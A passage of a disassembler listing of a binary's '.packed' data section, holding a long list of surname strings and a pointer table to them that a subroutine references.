aWilkin		db 'Wilkin',0           ; DATA XREF: .packed:00447F70o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .packed:00447F74o
		align 10h
aVillarreal	db 'Villarreal',0       ; DATA XREF: .packed:00447F78o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: .packed:00447F7Co
aWilson		db 'Wilson',0           ; DATA XREF: .packed:00447F80o
		align 10h
aVitali		db 'Vitali',0           ; DATA XREF: .packed:00447F84o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: .packed:00447F88o
aVoigt		db 'Voigt',0            ; DATA XREF: .packed:00447F8Co
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: .packed:00447F90o
		align 10h
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .packed:00447F94o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: .packed:00447F98o
aWooden		db 'Wooden',0           ; DATA XREF: .packed:00447F9Co
		align 4
aWoods		db 'Woods',0            ; DATA XREF: .packed:00447FA0o
		align 10h
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .packed:00447FA4o
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .packed:00447FA8o
aVotey		db 'Votey',0            ; DATA XREF: .packed:00447FACo
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: .packed:00447FB0o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: .packed:00447FB4o
		align 10h
aYankee		db 'Yankee',0           ; DATA XREF: .packed:00447FB8o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .packed:00447FBCo
aYates		db 'Yates',0            ; DATA XREF: .packed:00447FC0o
		align 4
aYbarra		db 'Ybarra',0           ; DATA XREF: .packed:00447FC4o
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: .packed:00447FC8o
aYesson		db 'Yesson',0           ; DATA XREF: .packed:00447FCCo
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: .packed:00447FD0o
		align 4
aYoffe		db 'Yoffe',0            ; DATA XREF: .packed:00447FD4o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: .packed:00447FD8o
aYoukSee	db 'Youk-See',0         ; DATA XREF: .packed:00447FDCo
		align 10h
aYu		db 'Yu',0               ; DATA XREF: .packed:00447FE0o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: .packed:00447FE4o
aZahedi		db 'Zahedi',0           ; DATA XREF: .packed:00447FE8o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: .packed:00447FECo
		align 10h
aZegans		db 'Zegans',0           ; DATA XREF: .packed:00447FF0o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: .packed:00447FF4o
aZoldak		db 'Zoldak',0           ; DATA XREF: .packed:00447FF8o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: .packed:00447FFCo
aZurn		db 'Zurn',0             ; DATA XREF: .packed:00448000o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: .packed:00448004o
		align 10h
aZytowski	db 'Zytowski',0         ; DATA XREF: .packed:00448008o
		align 10h
off_446DD0	dd offset aAbdulrazak	; DATA XREF: sub_40AFAB+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
		dd offset aAddison	; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer_0	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton_0	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine_0	; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch_0	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay_0	; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
